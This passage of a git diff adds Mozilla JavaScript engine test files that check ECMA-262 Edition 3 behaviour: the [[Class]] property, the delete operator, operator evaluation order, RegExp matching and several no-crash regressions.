+ reportCompare(expectedvalue[i], actualvalue[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusList[i];
+}
diff --git a/js/src/tests/ecma_3/Object/class-004.js b/js/src/tests/ecma_3/Object/class-004.js
new file mode 100644
index 000000000..a3f9b12fb
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/class-004.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Testing [[Class]] property of native error constructors.
+ * See ECMA-262 Edition 3, Section 8.6.2 for the [[Class]] property.
+ *
+ * See ECMA-262 Edition 3, Section 15.11.6 for the native error types.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=56868
+ *
+ * Same as class-003.js - but testing the constructors here, not
+ * object instances. Therefore we expect the [[Class]] property to
+ * equal 'Function' in each case.
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var UBound = 0;
+var BUGNUMBER = 56868;
+var summary = 'Testing the internal [[Class]] property of native error constructors';
+var statprefix = 'Current constructor is: ';
+var status = ''; var statusList = [ ];
+var actual = ''; var actualvalue = [ ];
+var expect= ''; var expectedvalue = [ ];
+
+/*
+ * We set the expect variable each time only for readability.
+ * We expect 'Function' every time; see discussion above -
+ */
+status = 'Error';
+actual = getJSClass(Error);
+expect = 'Function';
+addThis();
+
+status = 'EvalError';
+actual = getJSClass(EvalError);
+expect = 'Function';
+addThis();
+
+status = 'RangeError';
+actual = getJSClass(RangeError);
+expect = 'Function';
+addThis();
+
+status = 'ReferenceError';
+actual = getJSClass(ReferenceError);
+expect = 'Function';
+addThis();
+
+status = 'SyntaxError';
+actual = getJSClass(SyntaxError);
+expect = 'Function';
+addThis();
+
+status = 'TypeError';
+actual = getJSClass(TypeError);
+expect = 'Function';
+addThis();
+
+status = 'URIError';
+actual = getJSClass(URIError);
+expect = 'Function';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusList[UBound] = status;
+ actualvalue[UBound] = actual;
+ expectedvalue[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalue[i], actualvalue[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusList[i];
+}
diff --git a/js/src/tests/ecma_3/Object/class-005.js b/js/src/tests/ecma_3/Object/class-005.js
new file mode 100644
index 000000000..1ccdc94b2
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/class-005.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Testing the internal [[Class]] property of user-defined types.
+ * See ECMA-262 Edition 3 13-Oct-1999, Section 8.6.2 re [[Class]] property.
+ *
+ * Same as class-001.js - but testing user-defined types here, not
+ * native types. Therefore we expect the [[Class]] property to equal
+ * 'Object' in each case -
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing the internal [[Class]] property of user-defined types';
+var statprefix = 'Current user-defined type is: ';
+var status = ''; var statusList = [ ];
+var actual = ''; var actualvalue = [ ];
+var expect= ''; var expectedvalue = [ ];
+
+
+Calf.prototype= new Cow();
+
+/*
+ * We set the expect variable each time only for readability.
+ * We expect 'Object' every time; see discussion above -
+ */
+status = 'new Cow()';
+actual = getJSClass(new Cow());
+expect = 'Object';
+addThis();
+
+status = 'new Calf()';
+actual = getJSClass(new Calf());
+expect = 'Object';
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusList[UBound] = status;
+ actualvalue[UBound] = actual;
+ expectedvalue[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalue[i], actualvalue[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusList[i];
+}
+
+
+function Cow(name)
+{
+ this.name=name;
+}
+
+
+function Calf(name)
+{
+ this.name=name;
+}
diff --git a/js/src/tests/ecma_3/Object/regress-361274.js b/js/src/tests/ecma_3/Object/regress-361274.js
new file mode 100644
index 000000000..7b798143e
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/regress-361274.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361274;
+var summary = 'Embedded nulls in property names';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x='123'+'\0'+'456';
+ var y='123'+'\0'+'789';
+ var a={};
+ a[x]=1;
+ a[y]=2;
+
+ reportCompare(1, a[x], summary + ': 123\\0456');
+ reportCompare(2, a[y], summary + ': 123\\0789');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Object/regress-385393-07.js b/js/src/tests/ecma_3/Object/regress-385393-07.js
new file mode 100644
index 000000000..90cace674
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/regress-385393-07.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (2).eval();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Object/regress-459405.js b/js/src/tests/ecma_3/Object/regress-459405.js
new file mode 100644
index 000000000..1e9f97ccb
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/regress-459405.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459405;
+var summary = 'Math is not ReadOnly';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'foo';
+
+ try
+ {
+ var Math = 'foo';
+ actual = Math;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Object/regress-72773.js b/js/src/tests/ecma_3/Object/regress-72773.js
new file mode 100644
index 000000000..2b7722084
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/regress-72773.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test: we shouldn't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72773
+ *
+ * See ECMA-262 Edition 3 13-Oct-1999, Section 8.6.2 re [[Class]] property.
+ *
+ * Same as class-001.js - but testing user-defined types here, not
+ * native types. Therefore we expect the [[Class]] property to equal
+ * 'Object' in each case -
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 72773;
+var summary = "Regression test: we shouldn't crash on this code";
+var status = '';
+var actual = '';
+var expect = '';
+var sToEval = '';
+
+/*
+ * This code should produce an error, but not a crash.
+ * 'TypeError: Function.prototype.toString called on incompatible object'
+ */
+sToEval += 'function Cow(name){this.name = name;}'
+sToEval += 'function Calf(str){this.name = str;}'
+sToEval += 'Calf.prototype = Cow;'
+sToEval += 'new Calf().toString();'
+
+status = 'Trying to catch an expected error';
+try
+{
+ eval(sToEval);
+}
+catch(e)
+{
+ actual = getJSClass(e);
+ expect = 'Error';
+}
+
+
+//----------------------------------------------------------------------------------------------
+test();
+//----------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, status);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Object/regress-79129-001.js b/js/src/tests/ecma_3/Object/regress-79129-001.js
new file mode 100644
index 000000000..66e170d30
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/regress-79129-001.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 May 2001
+ *
+ * SUMMARY: Regression test: we shouldn't crash on this code
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=79129
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 79129;
+var summary = "Regression test: we shouldn't crash on this code";
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ tryThis();
+ reportCompare('No Crash', 'No Crash', 'Should not crash');
+ exitFunc ('test');
+}
+
+
+function tryThis()
+{
+ obj={};
+ obj.a = obj.b = obj.c = 1;
+ delete obj.a;
+ delete obj.b;
+ delete obj.c;
+ obj.d = obj.e = 1;
+ obj.a=1;
+ obj.b=1;
+ obj.c=1;
+ obj.d=1;
+ obj.e=1;
+}
diff --git a/js/src/tests/ecma_3/Object/shell.js b/js/src/tests/ecma_3/Object/shell.js
new file mode 100644
index 000000000..583d545f8
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/shell.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Utility functions for testing objects -
+ *
+ * Suppose obj is an instance of a native type, e.g. Number.
+ * Then obj.toString() invokes Number.prototype.toString().
+ * We would also like to access Object.prototype.toString().
+ *
+ * The difference is this: suppose obj = new Number(7).
+ * Invoking Number.prototype.toString() on this just returns 7.
+ * Object.prototype.toString() on this returns '[object Number]'.
+ *
+ * The getJSType() function below will return '[object Number]' for us.
+ * The getJSClass() function returns 'Number', the [[Class]] property of obj.
+ * See ECMA-262 Edition 3, 13-Oct-1999, Section 8.6.2
+ */
+//-----------------------------------------------------------------------------
+
+
+var cnNoObject = 'Unexpected Error!!! Parameter to this function must be an object';
+var cnNoClass = 'Unexpected Error!!! Cannot find Class property';
+var cnObjectToString = Object.prototype.toString;
+var GLOBAL = 'global';
+
+// checks that it's safe to call findType()
+function getJSType(obj)
+{
+ if (isObject(obj))
+ return findType(obj);
+ return cnNoObject;
+}
+
+
+// checks that it's safe to call findType()
+function getJSClass(obj)
+{
+ if (isObject(obj))
+ return findClass(findType(obj));
+ return cnNoObject;
+}
+
+
+function findType(obj)
+{
+ return cnObjectToString.apply(obj);
+}
+
+
+// given '[object Number]', return 'Number'
+function findClass(sType)
+{
+ var re = /^\[.*\s+(\w+)\s*\]$/;
+ var a = sType.match(re);
+
+ if (a && a[1])
+ return a[1];
+ return cnNoClass;
+}
+
+
+function isObject(obj)
+{
+ return obj instanceof Object;
+}
+
diff --git a/js/src/tests/ecma_3/Operators/11.13.1-001.js b/js/src/tests/ecma_3/Operators/11.13.1-001.js
new file mode 100644
index 000000000..8df71af80
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/11.13.1-001.js
@@ -0,0 +1,118 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 May 2003
+ * SUMMARY: JS should evaluate RHS before binding LHS implicit variable
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=204919
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 204919;
+var summary = 'JS should evaluate RHS before binding LHS implicit variable';
+var TEST_PASSED = 'ReferenceError';
+var TEST_FAILED = 'Generated an error, but NOT a ReferenceError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * global scope -
+ */
+status = inSection(1);
+try
+{
+ x = x;
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+/*
+ * function scope -
+ */
+status = inSection(2);
+try
+{
+ (function() {y = y;})();
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+/*
+ * eval scope -
+ */
+status = inSection(3);
+try
+{
+ eval('z = z');
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Operators/11.13.1-002.js b/js/src/tests/ecma_3/Operators/11.13.1-002.js
new file mode 100644
index 000000000..4ccc4bb1f
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/11.13.1-002.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312354;
+var summary = '11.13.1 Simple Assignment should return type of RHS';
+var actual = '';
+var expect = '';
+
+// XXX this test should really test each property of the native
+// objects, but I'm too lazy. Patches accepted.
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re = /x/g;
+var y = re.lastIndex = "7";
+
+expect = "string";
+actual = typeof y;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Operators/11.4.1-001.js b/js/src/tests/ecma_3/Operators/11.4.1-001.js
new file mode 100644
index 000000000..ea0fb4487
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/11.4.1-001.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 April 2003
+ * SUMMARY: |delete x.y| should return |true| if |x| has no property |y|
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=201987
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 201987;
+var summary = '|delete x.y| should return |true| if |x| has no property |y|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var x = {};
+actual = delete x.y;
+expect = true;
+addThis();
+
+status = inSection(2);
+actual = delete {}.y;
+expect = true;
+addThis();
+
+status = inSection(3);
+actual = delete "".y;
+expect = true;
+addThis();
+
+status = inSection(4);
+actual = delete /abc/.y;
+expect = true;
+addThis();
+
+status = inSection(5);
+actual = delete (new Date()).y;
+expect = true;
+addThis();
+
+status = inSection(6);
+var x = 99;
+actual = delete x.y;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Operators/11.4.1-002.js b/js/src/tests/ecma_3/Operators/11.4.1-002.js
new file mode 100644
index 000000000..41d584386
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/11.4.1-002.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 423300;
+var summary = '11.4.1 - The delete Operator - delete f()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function f() {}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+
+ try
+ {
+ actual = delete f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Operators/browser.js b/js/src/tests/ecma_3/Operators/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/browser.js
diff --git a/js/src/tests/ecma_3/Operators/order-01.js b/js/src/tests/ecma_3/Operators/order-01.js
new file mode 100644
index 000000000..38d187a7b
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/order-01.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433672;
+var summary = 'operator evaluation order';
+var actual = '';
+var expect = '';
+
+function makeObject(label)
+{
+ var o = (function (){});
+
+ o.label = label;
+ o.valueOf = (function() { actual += this.label + ' valueOf, '; return Object.prototype.valueOf.call(this); });
+ o.toString = (function() { actual += this.label + ' toString, '; return Object.prototype.toString.call(this); });
+
+ return o;
+}
+
+operators = [
+ {section: '11.5.1', operator: '*'},
+ {section: '11.5.2', operator: '/'},
+ {section: '11.5.3', operator: '%'},
+ {section: '11.6.1', operator: '+'},
+ {section: '11.6.2', operator: '-'},
+ {section: '11.7.1', operator: '<<'},
+ {section: '11.7.2', operator: '>>'},
+ {section: '11.7.3', operator: '>>>'},
+ {section: '11.8.1', operator: '<'},
+ {section: '11.8.2', operator: '>'},
+ {section: '11.8.3', operator: '<='},
+ {section: '11.8.4', operator: '>='},
+ {section: '11.10', operator: '&'},
+ {section: '11.10', operator: '^'},
+ {section: '11.10', operator: '|'},
+ {section: '11.13.2', operator: '*='},
+ {section: '11.13.2', operator: '/='},
+ {section: '11.13.2', operator: '%='},
+ {section: '11.13.2', operator: '+='},
+ {section: '11.13.2', operator: '<<='},
+ {section: '11.13.2', operator: '>>='},
+ {section: '11.13.2', operator: '>>>='},
+ {section: '11.13.2', operator: '&='},
+ {section: '11.13.2', operator: '^='},
+ {section: '11.13.2', operator: '|='},
+ ];
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < operators.length; i++)
+ {
+ expect = 'left valueOf, left toString, right valueOf, right toString, ';
+ actual = '';
+
+ var left = makeObject('left');
+ var right = makeObject('right');
+
+ eval('left ' + operators[i].operator + ' right');
+
+ reportCompare(expect, actual, summary + ': ' + operators[i].section + ' ' + operators[i].operator);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Operators/shell.js b/js/src/tests/ecma_3/Operators/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Operators/shell.js
diff --git a/js/src/tests/ecma_3/README b/js/src/tests/ecma_3/README
new file mode 100644
index 000000000..eebd421c2
--- /dev/null
+++ b/js/src/tests/ecma_3/README
@@ -0,0 +1 @@
+ECMA 262 Edition 3
diff --git a/js/src/tests/ecma_3/RegExp/15.10.2-1.js b/js/src/tests/ecma_3/RegExp/15.10.2-1.js
new file mode 100644
index 000000000..c2f414539
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.2-1.js
@@ -0,0 +1,147 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 July 2002
+ * SUMMARY: RegExp conformance test
+ *
+ * These testcases are derived from the examples in the ECMA-262 Ed.3 spec
+ * scattered through section 15.10.2.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = '(none)';
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /a|ab/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+pattern = /((a)|(ab))((c)|(bc))/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a', 'a', undefined, 'bc', undefined, 'bc');
+addThis();
+
+status = inSection(3);
+pattern = /a[a-z]{2,4}/;
+string = 'abcdefghi';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcde');
+addThis();
+
+status = inSection(4);
+pattern = /a[a-z]{2,4}?/;
+string = 'abcdefghi';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(5);
+pattern = /(aa|aabaac|ba|b|c)*/;
+string = 'aabaac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaba', 'ba');
+addThis();
+
+status = inSection(6);
+pattern = /^(a+)\1*,\1+$/;
+string = 'aaaaaaaaaa,aaaaaaaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaaaa,aaaaaaaaaaaaaaa', 'aaaaa');
+addThis();
+
+status = inSection(7);
+pattern = /(z)((a+)?(b+)?(c))*/;
+string = 'zaacbbbcac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('zaacbbbcac', 'z', 'ac', 'a', undefined, 'c');
+addThis();
+
+status = inSection(8);
+pattern = /(a*)*/;
+string = 'b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+status = inSection(9);
+pattern = /(a*)b\1+/;
+string = 'baaaac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('b', '');
+addThis();
+
+status = inSection(10);
+pattern = /(?=(a+))/;
+string = 'baaabac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', 'aaa');
+addThis();
+
+status = inSection(11);
+pattern = /(?=(a+))a*b\1/;
+string = 'baaabac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aba', 'a');
+addThis();
+
+status = inSection(12);
+pattern = /(.*?)a(?!(a+)b\2c)\2(.*)/;
+string = 'baaabaac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('baaabaac', 'ba', undefined, 'abaac');
+addThis();
+
+status = inSection(13);
+pattern = /(?=(a+))/;
+string = 'baaabac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', 'aaa');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.2.12.js b/js/src/tests/ecma_3/RegExp/15.10.2.12.js
new file mode 100644
index 000000000..c2adfdfb9
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.2.12.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 378738;
+var summary = '15.10.2.12 - CharacterClassEscape \d';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = false;
+ actual = /\d/.test("\uFF11");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.3.1-1.js b/js/src/tests/ecma_3/RegExp/15.10.3.1-1.js
new file mode 100644
index 000000000..74ff25e4c
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.3.1-1.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ * SUMMARY: Passing (RegExp object, flag) to RegExp() function.
+ * This test arose from Bugzilla bug 61266. The ECMA3 section is:
+ *
+ * 15.10.3 The RegExp Constructor Called as a Function
+ *
+ * 15.10.3.1 RegExp(pattern, flags)
+ *
+ * If pattern is an object R whose [[Class]] property is "RegExp"
+ * and flags is undefined, then return R unchanged. Otherwise
+ * call the RegExp constructor (section 15.10.4.1), passing it the
+ * pattern and flags arguments and return the object constructed
+ * by that constructor.
+ *
+ *
+ * The current test will check the first scenario outlined above:
+ *
+ * "pattern" is itself a RegExp object R
+ * "flags" is undefined
+ *
+ * The flags parameter will be undefined in the sense of not being
+ * provided. We check that RegExp(R) returns R -
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '61266';
+var summary = 'Passing (RegExp object,flag) to RegExp() function';
+var statprefix = 'RegExp(new RegExp(';
+var comma = ', '; var singlequote = "'"; var closeparens = '))';
+var cnSUCCESS = 'RegExp() returned the supplied RegExp object';
+var cnFAILURE = 'RegExp() did NOT return the supplied RegExp object';
+var i = -1; var j = -1; var s = ''; var f = '';
+var obj = {};
+var status = ''; var actual = ''; var expect = '';
+var patterns = new Array();
+var flags = new Array();
+
+
+// various regular expressions to try -
+patterns[0] = '';
+patterns[1] = 'abc';
